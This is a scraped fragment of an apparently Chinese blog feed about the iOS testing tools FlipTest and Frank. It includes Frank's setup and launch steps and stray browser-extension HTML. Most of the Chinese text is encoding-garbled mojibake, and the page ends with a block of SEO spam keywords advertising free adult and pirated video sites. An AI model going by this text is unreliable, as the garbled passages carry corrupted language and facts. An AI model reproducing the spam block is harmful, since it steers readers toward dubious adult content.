class="thypvui" id="SL_shadow_translation_result2" style="display: none;"></div><div class="zytdjbp" id="SL_shadow_translator" style="display: none;"><div class="gfhyesk" id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div class="kctkqxw" id="SL_TB"><div class="hojagui" id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div class="louezcb" id="SL_lng_from">English »</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese (Simp)</option><option value="zh-TW">Chinese (Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center"> </td><td class="SL_td" width="8%" align="center"><div class="ezmsyqi" id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div class="pavfaor" id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div class="eiouwzn" id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div class="cdfegub" id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div class="danezcu" id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div class="zwjpzyq" id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div class="jvbwyfi" id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div class="vwjarft" id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div class="vsuagjt" id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a> : <a target="_blank" class="SL_options" title="ImTranslator Help">Help</a> : <a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div class="qcprilz" id="SL_player" style="display: none; height: 0px; width: 0px;"></div><div class="vhjpvyx" id="SL_alert100" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.tkk7.com/qileilove/aggbug/421668.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/qileilove/" target="_blank">欏哄叾鑷劧EVO</a> 2014-12-23 00:25 <a href="http://www.tkk7.com/qileilove/archive/2014/12/23/421668.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>Fliptest鈥攊OS 鐨勫簲鐢ˋ/B嫻嬭瘯妗嗘灦http://www.tkk7.com/qileilove/archive/2014/12/23/421666.html欏哄叾鑷劧EVO欏哄叾鑷劧EVOMon, 22 Dec 2014 16:22:00 GMThttp://www.tkk7.com/qileilove/archive/2014/12/23/421666.htmlhttp://www.tkk7.com/qileilove/comments/421666.htmlhttp://www.tkk7.com/qileilove/archive/2014/12/23/421666.html#Feedback0http://www.tkk7.com/qileilove/comments/commentRss/421666.htmlhttp://www.tkk7.com/qileilove/services/trackbacks/421666.html
銆FlipTest鏄笓涓篿OS璁捐鐨?a target="_self" style="word-break: break-all; color: #202859;">縐誨姩搴旂敤A/B嫻嬭瘯妗嗘灦錛岄氳繃瀹冿紝寮鍙戣呭彲浠ユ棤闇閲嶆柊鍚慉pp Store鎻愪氦搴旂敤鎴栭噸鏋勪唬鐮侊紝鍙渶娣誨姞涓琛屼唬鐮侊紝鍗沖彲鐩存帴鍦╥OS搴旂敤涓婅繘琛孉/B嫻嬭瘯銆傚縐誨姩搴旂敤鍋?A/B 嫻嬭瘯鏄潪甯擱毦鐨勶紝鑰?FlipTest 鍙互甯綘綆鍖栬繖涓繃紼嬨?/div>
銆銆瀵逛簬鎯寵榪芥眰UI鏋佽嚧鐨勫紑鍙戣呰岃█錛孎lipTest緇濆鏄渶鍚堥傜殑嫻嬭瘯妗嗘灦銆侳lipTest浼?xì)湄?fù)搴旂敤閫夋嫨鏈鎭板綋鐨勭敤鎴風(fēng)晫闈紝榪樹細(xì)鍩轟簬澶栬銆佸彲鐢ㄦх瓑浼楀鍥犵礌榪旇繕?gòu)箣璇暰l撴灉錛屼粠鑰屽府鍔╁紑鍙戣呭交搴曡В鍐砋I闂銆?/div>


]]>iOS鍔熻兘嫻嬭瘯宸ュ叿 Frankhttp://www.tkk7.com/qileilove/archive/2014/12/23/421667.html欏哄叾鑷劧EVO欏哄叾鑷劧EVOMon, 22 Dec 2014 16:22:00 GMThttp://www.tkk7.com/qileilove/archive/2014/12/23/421667.htmlhttp://www.tkk7.com/qileilove/comments/421667.htmlhttp://www.tkk7.com/qileilove/archive/2014/12/23/421667.html#Feedback0http://www.tkk7.com/qileilove/comments/commentRss/421667.htmlhttp://www.tkk7.com/qileilove/services/trackbacks/421667.html銆銆Frank涔熸槸涓嬈炬繁鍙楀紑鍙戣呭枩鐖辯殑iOS搴旂敤嫻嬭瘯妗嗘灦錛岃妗嗘灦鍙互妯℃嫙鐢ㄦ埛鎿嶄綔瀵瑰簲鐢ㄧ▼搴忚繘琛?/span>榛戠洅嫻嬭瘯錛屽茍浣跨敤Cucumber浣滀負(fù)鑷劧璇█鏉ョ紪鍐?/span>嫻嬭瘯鐢ㄤ緥銆傛澶栵紝Frank榪樹細(xì)瀵瑰簲鐢ㄦ祴璇曟搷浣滆繘琛岃褰曪紝浠ュ府鍔╁紑鍙戣呰繘琛屾祴璇曞洖欏俱?/span>
銆銆涓銆佸熀鏈粙緇?/strong>
銆銆Frank鏄痠os寮鍙戠幆澧冧笅涓嬈懼疄鐜拌嚜鍔ㄦ祴璇曠殑宸ュ叿銆?/div>
銆銆Xcode鐜涓嬪紑鍙戝畬鎴愬悗錛岄氳繃Frank瀹炵幇緇撴瀯鍖栫殑嫻嬭瘯鐢ㄤ緥錛屽叾搴曞眰璇█涓?a target="_self" style="word-break: break-all; color: #202859;">Ruby銆備綔涓轟竴嬈懼紑婧愮殑iOS嫻嬭瘯宸ュ叿錛屽湪鍥藉宸茬粡鏈夊箍娉涚殑搴旂敤銆備絾鏄浗鍐呯浉鍏寵祫鏂欏嵈姣旇緝?yōu)畱銆傚叾鏈澶х殑浼樼偣鏄厑璁告垜浠敤鐔熸?zhèn)夌殑鑷劧璇a瀹炵幇瀹為檯鐨勬搷浣滈昏緫銆?/div>
銆銆涓鑸岃█錛屾祴璇曟枃浠剁敱涓涓?feature鏂囦歡鍜屼竴涓?rb鏂囦歡緇勬垚銆?feature鏂囦歡鍖呭惈鐨勬槸嫻嬭瘯鎿嶄綔鐨勮嚜鐒惰璦鎻忚堪閮ㄥ垎錛屽唴閮ㄥ彲浠ュ寘鍚涓祴璇曠敤渚嬶紝浠ユ爣絳撅紙@tagname錛夌殑褰㈠紡鍞竴鏍囪瘑錛屾瘡涓敤渚嬬殑棣栬蹇呴』鏈塖cenario: some description錛?rb鏂囦歡鍒欐槸ruby瀹炵幇閫昏緫錛岄氳繃姝e垯琛ㄨ揪寮忓尮閰?feature鏂囦歡涓殑姣忎竴鍙ヨ嚜鐒惰璦錛岀劧鍚庢墽琛岀浉搴旂殑閫昏緫鎿嶄綔錛屾渶緇堝疄鐜拌嚜鍔ㄦ祴璇曠殑鐩殑銆?/div>
銆浜屻佸畨瑁?/strong>
銆銆1.       Terminal 杈撳叆sudo gem install frank-cucumber,涓嬭澆騫跺畨瑁匜rank
銆銆2.       Terminal 榪涘叆宸ョ▼鎵鍦ㄨ礬寰勶紝宸ョ▼鏍圭洰褰?/div>
銆銆3.       杈撳叆錛歠rank-skeleton錛屼細(xì)鍦ㄥ伐紼嬫牴鐩綍鏂板緩Frank鏂囦歡澶?/div>
銆銆4.       榪斿洖Xcode鐣岄潰錛屽彸閿甌argets涓嬬殑APP錛岄夋嫨澶嶅埗錛孌uplicate only
銆銆5.       鍙屽嚮APPname copy錛屾洿鏀瑰壇鏈悕錛屼緥濡?Appname Frankified
銆銆6.       鍙沖嚮APP錛孉dd Files to Appname……
銆銆7.       鍕鵑夊壇鏈紝鍏朵綑鍙栨秷閫夊畾銆傞夋嫨鏂板緩鐨凢rank鏂囦歡澶癸紝Add.
銆銆8.       閫夋嫨APP錛屼腑闂撮儴鍒咮uild Phases閫夐」鍗★紝Link Binary With LibrariesàCFNetwork.framework錛孉dd.
銆銆9.       渚濇棫涓棿閮ㄥ垎錛岄夋嫨Build Settings閫夐」鍗★紝Other Linker Flags錛屽弻鍑伙紝娣誨姞“-all_load”鍜?#8220;ObjC”
銆銆10.   宸︿笂瑙掞紝Scheme Selector錛屽湪RUN鍜孲TOP鎸夐挳鐨勫彸杈癸紝閫夋嫨Appname copy-IPHONE
銆銆11.   嫻忚鍣ㄤ腑鎵撳紑http://localhost:37265錛屽彲浠ュ湪嫻忚鍣ㄤ腑鐪嬪埌妞嶅叆Frank鐨勫簲鐢?/div>
銆銆鎴戝湪娣誨姞浜?jiǎn)涓や釜flag涔嬪悗鑰佹槸鎶ラ敊錛屽皾璇曚簡(jiǎn)N縐嶆柟娉曚箣鍚庣儲(chǔ)鎬у叏閮ㄥ垹鎺夛紝緇撴灉灝卞彲浠ヤ簡(jiǎn)錛屾棤璇?/div>
銆銆涓夈佸熀鏈楠?/strong>
銆銆1.       terminal 鍒囨崲鍒癋rank鏂囦歡澶規(guī)墍鍦ㄧ洰褰?/div>
銆銆2.       frank launch, 鎵撳紑simulator錛屽紑濮嬭繍琛?榛樿鏄敤IPHONE simulator,瑕佺敤IPAD simulator鏃訛紝闇瑕佸涓嬪懡浠よ錛屾坊鍔犲弬鏁幫細(xì)frank launch --idiom ipad)
銆銆3.       cucumber Frank/features/my_first.feature --tags @tagname 錛堟敞鎰弔ags鍓嶉潰涓や釜‘-’錛塒S:濡傛灉娌℃湁tag鍒欒嚜鍔ㄨ繍琛屾枃浠朵腑鎵鏈塩ase


]]> 主站蜘蛛池模板: 国产公开免费人成视频| 亚洲国产韩国一区二区| 亚洲国产成人99精品激情在线| 1区2区3区产品乱码免费| 久久影院亚洲一区| 国产精品亚洲va在线观看| 国产亚洲精品看片在线观看| 3344免费播放观看视频 | 亚洲国产综合在线| 免费日本黄色网址| 最近免费2019中文字幕大全| 亚洲成a人片在线观看无码| 一级做受视频免费是看美女| 免费a级毛片18以上观看精品| 亚洲欧美日韩中文字幕一区二区三区| 亚洲中文字幕伊人久久无码| 国产精品亚洲综合天堂夜夜| 亚洲精品国产成人专区| 四虎影视在线永久免费看黄 | 中文在线观看国语高清免费| 亚洲成av人片在线看片| 亚洲伊人成无码综合网| 免费可以在线看A∨网站| 国产日韩AV免费无码一区二区| 亚洲熟妇AV一区二区三区浪潮| 成年女人色毛片免费看| a毛片全部播放免费视频完整18| 国产精品亚洲一区二区三区在线| 成年女人色毛片免费看| 无码日韩精品一区二区三区免费| 羞羞视频在线免费观看| 国产成人亚洲综合无码| 永久免费毛片在线播放| 免费在线看污视频| 亚洲成年人电影在线观看| 中文字幕一精品亚洲无线一区| 波多野结衣久久高清免费| 一级毛片大全免费播放下载| 亚洲中文无码mv| 亚洲国产视频网站| 久久久久亚洲av无码专区|